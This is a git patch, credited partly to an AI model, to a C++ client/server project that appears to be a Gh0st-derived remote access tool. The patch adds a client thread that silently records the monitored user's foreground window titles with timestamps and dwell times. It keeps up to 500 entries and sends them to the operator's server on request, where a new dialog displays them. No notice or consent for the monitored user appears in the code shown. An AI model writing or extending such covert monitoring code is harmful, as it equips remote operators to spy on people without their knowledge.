From 29929e48b2f3e1c285f6a552d2bbbe95bdaa589f Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Sat, 15 Aug 2026 11:09:14 +0200 Subject: [PATCH] Feature: Add client activity history recording and display Record the client's active-window history (start time, window title, and dwell duration), newest first, skipping dwellings under 5 seconds and breaking the timing on idle, capped at 500 entries. Add an "Activity History" item inside the host's Client Management submenu that requests the snapshot over the main connection and shows it in a new dialog. The dialog rebuilds its edit control as a Unicode window so UTF-8 titles render correctly instead of degrading to "?" through the MBCS ANSI boundary. The menu item and dialog title go through _TR and are localized in en_US and zh_TW. Co-Authored-By: deepseek-v4-pro --- client/ActivityHistory.cpp | 126 ++++++++++++++++++++ client/ActivityHistory.h | 54 +++++++++ client/ClientDll.cpp | 2 + client/ClientDll_vs2015.vcxproj | 2 + client/KernelManager.cpp | 11 ++ client/KernelManager.h | 18 +++ client/ghost_vs2015.vcxproj | 2 + common/commands.h | 2 + server/2015Remote/2015RemoteDlg.cpp | 24 ++++ server/2015Remote/2015RemoteDlg.h | 1 + server/2015Remote/2015Remote_vs2015.vcxproj | 2 + server/2015Remote/CActivityDialog.cpp | 98 +++++++++++++++ server/2015Remote/CActivityDialog.h | 36 ++++++ server/2015Remote/lang/en_US.ini | 1 + server/2015Remote/lang/zh_TW.ini | 1 + server/2015Remote/resource.h | 3 +- 16 files changed, 382 insertions(+), 1 deletion(-) create mode 100644 client/ActivityHistory.cpp create mode 100644 client/ActivityHistory.h create mode 100644 server/2015Remote/CActivityDialog.cpp create mode 100644 server/2015Remote/CActivityDialog.h diff --git a/client/ActivityHistory.cpp b/client/ActivityHistory.cpp new file mode 100644 index 0000000..ce985a0 --- /dev/null +++ b/client/ActivityHistory.cpp @@ -0,0 +1,126 @@ +// ActivityHistory.cpp: 客户端历史活动记录采集模块 + +#include "stdafx.h" +#include "ActivityHistory.h" +#include "KernelManager.h" // ActivityWindow + +ActivityHistory& ActivityHistory::Instance() +{ + static ActivityHistory inst; + return inst; +} + +void ActivityHistory::Start() +{ + if (m_started.exchange(true)) + return; + m_running = true; + m_thread = std::thread(&ActivityHistory::Loop, this); +} + +void ActivityHistory::Stop() +{ + m_running = false; + if (m_thread.joinable()) + m_thread.join(); +} + +std::string ActivityHistory::Dump() const +{ + std::lock_guard lock(m_mutex); + std::string out; + // 当前进行中的窗口:若已持续达到阈值,作为最新一条返回 + if (!m_curTitle.empty() && m_curDwellSec >= ACTIVITY_MIN_DWELL_SEC) + out += FormatRecord(m_curStartTime, m_curTitle, m_curDwellSec) + "\n"; + for (const auto& r : m_records) + out += r + "\n"; + return out; +} + +void ActivityHistory::Loop() +{ + // 空闲打断阈值:远大于 ACTIVITY_MIN_DWELL_SEC,避免“停在一个窗口上看几秒”被过早结账。 + const DWORD IDLE_THRESHOLD_MS = ACTIVITY_IDLE_BREAK_SEC * 1000; + + ActivityWindow aw; + HWND lastHwnd = NULL; + std::string lastTitle; + std::string startTime; + int dwellSec = 0; + + while (m_running) { + // 取前台窗口句柄 + 标题;空闲/锁定/取不到标题时 hwnd==NULL 或 title 为空 + HWND hwnd = aw.GetActiveWindowHandle(IDLE_THRESHOLD_MS); + std::string title = aw.GetActiveTitleOrEmpty(IDLE_THRESHOLD_MS); + + { + std::lock_guard lock(m_mutex); + + if (hwnd == NULL || title.empty()) { + // 空闲/锁定/无标题:结账上一个窗口 + if (lastHwnd != NULL && dwellSec >= ACTIVITY_MIN_DWELL_SEC) + m_records.push_front(FormatRecord(startTime, lastTitle, dwellSec)); + lastHwnd = NULL; + lastTitle.clear(); + dwellSec = 0; + } else if (hwnd == lastHwnd) { + // 同一窗口:即使标题动态变化也连续累计,标题取最新值 + ++dwellSec; + lastTitle = title; + } else { + // 窗口切换:结账上一个,开始累计新窗口 + if (lastHwnd != NULL && dwellSec >= ACTIVITY_MIN_DWELL_SEC) + m_records.push_front(FormatRecord(startTime, lastTitle, dwellSec)); + lastHwnd = hwnd; + lastTitle = title; + startTime = NowStr(); + dwellSec = 1; + } + + while (m_records.size() > ACTIVITY_HISTORY_MAX) + m_records.pop_back(); + + m_curTitle = lastTitle; + m_curStartTime = startTime; + m_curDwellSec = dwellSec; + } + + Sleep(1000); + } +} + +std::string ActivityHistory::FormatRecord(const std::string& startTime, const std::string& title, int dwellSec) +{ + // 标题里的换行会破坏“每行一条”,做最小清洗 + std::string t; + t.reserve(title.size()); + for (char c : title) { + if (c == '\r' || c == '\n') c = ' '; + t += c; + } + return "[" + startTime + "] [" + t + "] " + FormatDuration(dwellSec); +} + +std::string ActivityHistory::FormatDuration(int sec) +{ + if (sec < 0) sec = 0; + if (sec < 60) + return std::to_string(sec) + "s"; + if (sec < 3600) { + int m = sec / 60, s = sec % 60; + return s ? std::to_string(m) + "m" + std::to_string(s) + "s" + : std::to_string(m) + "m"; + } + int h = sec / 3600, m = (sec % 3600) / 60; + return std::to_string(h) + "h" + std::to_string(m) + "m"; +} + +std::string ActivityHistory::NowStr() +{ + SYSTEMTIME st; + GetLocalTime(&st); + char buf[32]; + sprintf_s(buf, sizeof(buf), "%04d-%02d-%02d %02d:%02d:%02d", + st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond); + return buf; +} diff --git a/client/ActivityHistory.h b/client/ActivityHistory.h new file mode 100644 index 0000000..e77cd03 --- /dev/null +++ b/client/ActivityHistory.h @@ -0,0 +1,54 @@ +#pragma once +#include +#include +#include +#include +#include + +// 历史活动记录: +// 每条格式:[YYYY-MM-DD HH:MM:SS] [窗口标题] <时长> +// 倒序存储(最新在前)。后台线程每 1 秒采样一次前台窗口。 +#define ACTIVITY_MIN_DWELL_SEC 5 // 一闪而过阈值(秒):驻留低于此值不记录 +#define ACTIVITY_IDLE_BREAK_SEC 300 // 空闲打断阈值(秒):空闲超过此值才结账当前窗口 + // 注意:与心跳“活动窗口”列的 6s 判定不同,这里要远大于 MIN_DWELL, + // 否则“停在一个窗口上看 10 秒”会被 6s 空闲判定过早结账/漏记 +#define ACTIVITY_HISTORY_MAX 500 // 内存保留的最大记录条数 + +class ActivityHistory +{ +public: + static ActivityHistory& Instance(); + + // 启动常驻采样线程(幂等,重复调用无副作用) + void Start(); + // 停止采样线程 + void Stop(); + + // 返回全部历史记录(最新在前,多行文本,每行一条) + std::string Dump() const; + +private: + ActivityHistory() = default; + ~ActivityHistory() { Stop(); } + ActivityHistory(const ActivityHistory&) = delete; + ActivityHistory& operator=(const ActivityHistory&) = delete; + + void Loop(); + + // 拼一条记录字符串 + static std::string FormatRecord(const std::string& startTime, const std::string& title, int dwellSec); + // 时长格式化:Ns / Nm / NmNs / NhNm + static std::string FormatDuration(int sec); + // 当前时间戳 "YYYY-MM-DD HH:MM:SS" + static std::string NowStr(); + + mutable std::mutex m_mutex; + std::deque m_records; // 已完成记录,最新在前 + std::string m_curTitle; // 当前进行中的窗口标题 + std::string m_curStartTime; // 当前窗口的起始时间 + int m_curDwellSec = 0; // 当前窗口已连续活跃秒数 + + std::atomic m_running{ false }; + std::atomic m_started{ false }; + std::thread m_thread; +}; diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 76c7dc3..d55f110 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -3,6 +3,7 @@ #include "stdafx.h" #include "ClientDll.h" +#include "ActivityHistory.h" #include #include #include @@ -588,6 +589,7 @@ DWORD WINAPI StartClient(LPVOID lParam) std::string ip = settings.ServerIP(); int port = settings.ServerPort(); Mprintf("StartClient begin[%s:%d]\n", ip.c_str(), port); + ActivityHistory::Instance().Start(); if (!app.m_bShared) { auto now = time(0); valid_to = atof(cfg.GetStr("settings", "valid_to").c_str()); diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj index b0aca5a..ebf843e 100644 --- a/client/ClientDll_vs2015.vcxproj +++ b/client/ClientDll_vs2015.vcxproj @@ -178,6 +178,7 @@ + @@ -225,6 +226,7 @@ + diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 7456be6..a69cb2f 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -10,6 +10,7 @@ #include #include #include "ClientDll.h" +#include "ActivityHistory.h" #include "MemoryModule.h" #include "common/dllRunner.h" #include "server/2015Remote/pwd_gen.h" @@ -822,6 +823,16 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopClientLogManager, &m_hThread[m_ulThreadCount], 0, NULL); break; } + case COMMAND_QUERY_ACTIVITY: { + // 主连接一次性快照:直接 dump 历史活动并回传 + std::string text = ActivityHistory::Instance().Dump(); + std::vector pkt(1 + text.size()); + pkt[0] = TOKEN_REPORT_ACTIVITY; + if (!text.empty()) + memcpy(pkt.data() + 1, text.data(), text.size()); + m_ClientObject->Send2Server((char*)pkt.data(), (ULONG)pkt.size()); + break; + } case CMD_SET_GROUP: { std::string group = std::string((char*)szBuffer + 1); m_cfg->SetStr("settings", "group_name", group); diff --git a/client/KernelManager.h b/client/KernelManager.h index 1b04845..d512180 100644 --- a/client/KernelManager.h +++ b/client/KernelManager.h @@ -40,6 +40,24 @@ public: return (!IsWorkstationLocked() ? "Inactive: " : "Locked: ") + FormatMilliseconds(idle); } + // 返回当前活跃窗口标题;若空闲(idle ≥ threshold_ms)或取不到标题则返回空串。 + // 供历史活动采集使用,避免“判定活跃”与“取标题”之间的竞态窗口。 + std::string GetActiveTitleOrEmpty(DWORD threshold_ms = 6000) + { + if (GetUserIdleTime() >= threshold_ms) + return std::string(); + return GetActiveWindowTitle(); + } + + // 返回当前前台窗口句柄;空闲(idle ≥ threshold_ms)返回 NULL。 + // 历史活动按窗口(HWND)而非标题字符串累计:标题动态变化时不会反复归零。 + HWND GetActiveWindowHandle(DWORD threshold_ms = 6000) + { + if (GetUserIdleTime() >= threshold_ms) + return NULL; + return GetForegroundWindow(); + } + private: std::string FormatMilliseconds(DWORD ms) { diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj index a49d3c3..c94c427 100644 --- a/client/ghost_vs2015.vcxproj +++ b/client/ghost_vs2015.vcxproj @@ -185,6 +185,7 @@ + @@ -234,6 +235,7 @@ + diff --git a/common/commands.h b/common/commands.h index d2a9ce5..d8c1811 100644 --- a/common/commands.h +++ b/common/commands.h @@ -317,6 +317,8 @@ enum { TOKEN_REPORT_LOG = 156, COMMAND_FORBIDDEN = 157, CMD_CUSTOM_CURSOR = 158, + COMMAND_QUERY_ACTIVITY = 159, // 服务端 → 客户端:索取历史活动 + TOKEN_REPORT_ACTIVITY = 160, // 客户端 → 服务端:上报历史活动 TOKEN_DECRYPT = 199, TOKEN_REGEDIT = 200, // 注册表 diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index b605f2c..c3db3e2 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -15,6 +15,7 @@ #include "TerminalDlg.h" #include "SystemDlg.h" #include "CClientLog.h" +#include "CActivityDialog.h" #include "BuildDlg.h" #include "AudioDlg.h" #include "RegisterDlg.h" @@ -1017,6 +1018,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(ID_ONLINE_VIEW_WND, &CMy2015RemoteDlg::OnOnlineWindowManager) ON_COMMAND(ID_ENABLE_DEV_DEBUG, &CMy2015RemoteDlg::OnEnableDevDebug) ON_COMMAND(ID_ONLINE_CLIENT_LOG, &CMy2015RemoteDlg::OnOnlineClientLog) + ON_COMMAND(ID_ONLINE_HISTORY_ACTIVITY, &CMy2015RemoteDlg::OnOnlineHistoryActivity) ON_COMMAND(ID_ONLINE_FORBIDDEN, &CMy2015RemoteDlg::OnOnlineForbidden) END_MESSAGE_MAP() @@ -4249,6 +4251,12 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult) } } + // 客户管理子菜单:新增“历史活动” + CMenu* pClientMenu = FindSubMenuByCommand(SubMenu, ID_ONLINE_ASSIGN_TO); + if (pClientMenu) { + pClientMenu->InsertMenu(0, MF_BYPOSITION | MF_STRING, ID_ONLINE_HISTORY_ACTIVITY, _TR("历史活动")); + } + // 创建一个新的子菜单 CMenu newMenu; if (!newMenu.CreatePopupMenu()) { @@ -5357,6 +5365,16 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) } break; } + case TOKEN_REPORT_ACTIVITY: { + // 一次性快照:直接打开“历史活动”对话框展示,不占用 hDlg(避免与运行日志对话框冲突) + std::string text((char*)(szBuffer + 1), len > 1 ? len - 1 : 0); + CActivityDialog* dlg = new CActivityDialog(this, ContextObject->GetServer(), ContextObject); + dlg->Create(IDD_DIALOG_CLIENT_LOG, GetDesktopWindow()); + dlg->ShowWindow(SW_SHOW); + if (!text.empty()) + dlg->AppendLog(text); + break; + } case TOKEN_CLIENT_MSG: { ClientMsg *msg =(ClientMsg*)ContextObject->InDeCompressedBuffer.GetBuffer(0); PostMessageA(WM_SHOWERRORMSG, (WPARAM)new CString(_L(msg->text)), (LPARAM)new CString(_L(msg->title))); @@ -12015,6 +12033,12 @@ void CMy2015RemoteDlg::OnOnlineClientLog() SendSelectedCommand(&cmd, sizeof(BYTE)); } +void CMy2015RemoteDlg::OnOnlineHistoryActivity() +{ + BYTE cmd = COMMAND_QUERY_ACTIVITY; + SendSelectedCommand(&cmd, sizeof(BYTE)); +} + LRESULT CMy2015RemoteDlg::OnOpenClientLogDialog(WPARAM wParam, LPARAM lParam) { std::string* pInitLog = reinterpret_cast(wParam); diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index fa2ae8e..357b355 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -650,6 +650,7 @@ public: afx_msg void OnOnlineActiveWnd(); afx_msg void OnEnableDevDebug(); afx_msg void OnOnlineClientLog(); + afx_msg void OnOnlineHistoryActivity(); afx_msg LRESULT OnOpenClientLogDialog(WPARAM wParam, LPARAM lParam); afx_msg void OnOnlineForbidden(); }; diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 1e972c7..94da9ef 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -291,6 +291,7 @@ + @@ -374,6 +375,7 @@ + NotUsing diff --git a/server/2015Remote/CActivityDialog.cpp b/server/2015Remote/CActivityDialog.cpp new file mode 100644 index 0000000..05292cd --- /dev/null +++ b/server/2015Remote/CActivityDialog.cpp @@ -0,0 +1,98 @@ +// CActivityDialog.cpp: 历史活动展示对话框(一次性快照,无子连接) +#include "stdafx.h" +#include "afxdialogex.h" +#include "CActivityDialog.h" +#include "resource.h" +#include "../../common/commands.h" + +IMPLEMENT_DYNAMIC(CActivityDialog, CDialogEx) + +CActivityDialog::CActivityDialog(CWnd* pParent, Server* pServer, CONTEXT_OBJECT* pContext) + : CDialogBase(IDD_DIALOG_CLIENT_LOG, pParent, pServer, pContext, 0) +{ +} + +CActivityDialog::~CActivityDialog() +{ +} + +void CActivityDialog::DoDataExchange(CDataExchange* pDX) +{ + CDialogBase::DoDataExchange(pDX); + DDX_Control(pDX, IDC_EDIT_LOG, m_editLog); +} + +BEGIN_MESSAGE_MAP(CActivityDialog, CDialogBase) + ON_WM_SIZE() +END_MESSAGE_MAP() + +BOOL CActivityDialog::OnInitDialog() +{ + CDialogBase::OnInitDialog(); + SetWindowText(_TR("历史活动") + " - " + m_IPAddress); + HICON hIcon = AfxGetApp()->LoadIcon(IDI_CLIENTLOG); + SetIcon(hIcon, TRUE); + SetIcon(hIcon, FALSE); + // 用 Segoe UI:MBCS 工程里模板默认字体是 Microsoft Sans Serif(无 Dingbats 字形), + // 显式指定 Segoe UI,中文走字体链接到微软雅黑、Dingbats(✻/✦)走 Segoe UI Symbol 回退。 + m_font.CreatePointFont(90, _T("Segoe UI")); + m_editLog.SetFont(&m_font); + // 重建为 Unicode 编辑框:这是 ✻/✦ 能正确显示的关键。重建时已保留上面的字体。 + RebuildEdit(m_editLog); + return TRUE; +} + +void CActivityDialog::RebuildEdit(CEdit& m_edit) +{ + CRect rc; + m_edit.GetWindowRect(&rc); + ScreenToClient(&rc); + DWORD style = m_edit.GetStyle(); + DWORD exStyle = m_edit.GetExStyle(); + HFONT hFont = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0); + UINT ctrlID = m_edit.GetDlgCtrlID(); + m_edit.DestroyWindow(); + HWND hEdit = ::CreateWindowExW( + exStyle, L"EDIT", L"", style, + rc.left, rc.top, rc.Width(), rc.Height(), + this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID, + AfxGetInstanceHandle(), NULL); + m_edit.Attach(hEdit); + if (hFont) + m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0)); +} + +void CActivityDialog::OnSize(UINT nType, int cx, int cy) +{ + CDialogBase::OnSize(nType, cx, cy); + if (m_editLog.GetSafeHwnd() && cx > 0 && cy > 0) + m_editLog.MoveWindow(7, 7, cx - 14, cy - 14); +} + +// 快照模式:无子连接,OnReceiveComplete 空实现(纯虚函数必须覆盖) +void CActivityDialog::OnReceiveComplete() +{ +} + +void CActivityDialog::AppendLog(const std::string& text) +{ + if (text.empty()) return; + + // \n → \r\n,Windows 编辑框换行需要 \r\n + std::string norm; + norm.reserve(text.size() + 64); + for (size_t i = 0; i < text.size(); ++i) { + if (text[i] == '\n' && (i == 0 || text[i - 1] != '\r')) + norm += '\r'; + norm += text[i]; + } + + // 服务端是 MBCS 工程,编辑框走 A 接口会把 UTF-8 中文当 ANSI 处理导致乱码; + // 与"活动窗口"列一致,用 W 接口显示:先把 UTF-8 转成宽字符,再走 WM_SETTEXTW 写入。 + // (编辑框已在 OnInitDialog 中重建为 Unicode 窗口,SetWindowTextW 不会经过 CP_ACP 回转。) + int wlen = MultiByteToWideChar(CP_UTF8, 0, norm.c_str(), (int)norm.size(), NULL, 0); + if (wlen <= 0) return; + std::wstring w(wlen, L'\0'); + MultiByteToWideChar(CP_UTF8, 0, norm.c_str(), (int)norm.size(), &w[0], wlen); + ::SetWindowTextW(m_editLog.GetSafeHwnd(), w.c_str()); +} diff --git a/server/2015Remote/CActivityDialog.h b/server/2015Remote/CActivityDialog.h new file mode 100644 index 0000000..7da3dc2 --- /dev/null +++ b/server/2015Remote/CActivityDialog.h @@ -0,0 +1,36 @@ +#pragma once +#include "afxcmn.h" +#include "IOCPServer.h" + +class CActivityDialog : public CDialogBase +{ + DECLARE_DYNAMIC(CActivityDialog) + +public: + CActivityDialog(CWnd* pParent, Server* pServer, CONTEXT_OBJECT* pContext); + virtual ~CActivityDialog(); + + virtual void OnReceiveComplete(); + void AppendLog(const std::string& text); + +protected: + virtual BOOL OnInitDialog(); + virtual void DoDataExchange(CDataExchange* pDX); + afx_msg void OnSize(UINT nType, int cx, int cy); + + DECLARE_MESSAGE_MAP() + +private: + // 把编辑框重建为 Unicode 类窗口(同 CKeyBoardDlg::RebuildEdit)。 + // 工程是 MBCS,对话框模板创建的是 ANSI 编辑框,SetWindowTextW 会在 W->A + // 边界用 CP_ACP 转码,Dingbats(✻/✦)等字符会变 ?。重建为 Unicode 后 + // W 版消息直通,不再走 CP_ACP。 + void RebuildEdit(CEdit& m_edit); + + CEdit m_editLog; + CFont m_font; // 编辑框字体(成员持有,随对话框销毁,避免堆泄漏) + +#ifdef AFX_DESIGN_TIME + enum { IDD = IDD_DIALOG_CLIENT_LOG }; +#endif +}; diff --git a/server/2015Remote/lang/en_US.ini b/server/2015Remote/lang/en_US.ini index fcc2830..815b061 100644 --- a/server/2015Remote/lang/en_US.ini +++ b/server/2015Remote/lang/en_US.ini @@ -1956,6 +1956,7 @@ FRPC Զ ʧ! ͨȨ޲, ֶϵͳá=Failed! You have to set it via system environment center. ־=Client Log ͻ־=Client Log +ʷ=Activity History ʹ=Forbidden Client ȷѡıس?=Are you sure to forbidden the selected clients? ޽=Not found diff --git a/server/2015Remote/lang/zh_TW.ini b/server/2015Remote/lang/zh_TW.ini index 161ea67..00c8825 100644 --- a/server/2015Remote/lang/zh_TW.ini +++ b/server/2015Remote/lang/zh_TW.ini @@ -1947,6 +1947,7 @@ FRPC Զ ʧ! ͨȨ޲, ֶϵͳá=ʧ! ͨȨ޲, ֶϵͳá ־=־ ͻ־=ͻ־ +ʷ=vʷ ʹ=ʹ ȷѡıس?=ȷѡıس? ޽=޽ diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 15850b4..4a97fca 100644 --- a/server/2015Remote/resource.h +++ b/server/2015Remote/resource.h @@ -1028,6 +1028,7 @@ #define ID_ONLINE_CLIENT_LOG 33074 #define ID_ONLINE_33075 33075 #define ID_ONLINE_FORBIDDEN 33076 +#define ID_ONLINE_HISTORY_ACTIVITY 33082 #define ID_EXIT_FULLSCREEN 40001 // Next default values for new objects @@ -1035,7 +1036,7 @@ #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS #define _APS_NEXT_RESOURCE_VALUE 398 -#define _APS_NEXT_COMMAND_VALUE 33082 +#define _APS_NEXT_COMMAND_VALUE 33083 #define _APS_NEXT_CONTROL_VALUE 2542 #define _APS_NEXT_SYMED_VALUE 105 #endif